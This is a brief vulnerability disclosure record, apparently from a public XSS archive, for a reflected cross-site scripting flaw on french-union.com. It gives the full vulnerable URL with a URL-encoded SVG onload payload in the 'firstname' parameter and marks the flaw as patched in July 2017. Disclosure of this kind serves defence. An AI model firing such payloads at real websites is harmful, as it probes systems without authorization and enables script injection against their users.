french-union.com XSS vulnerability

Vulnerable URL: http://www.french-union.com/Union/menu/auth/popindexvisiteurfrnew.asp?firstname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:44 GMT Vulnerability type:| XSS Vulnerability...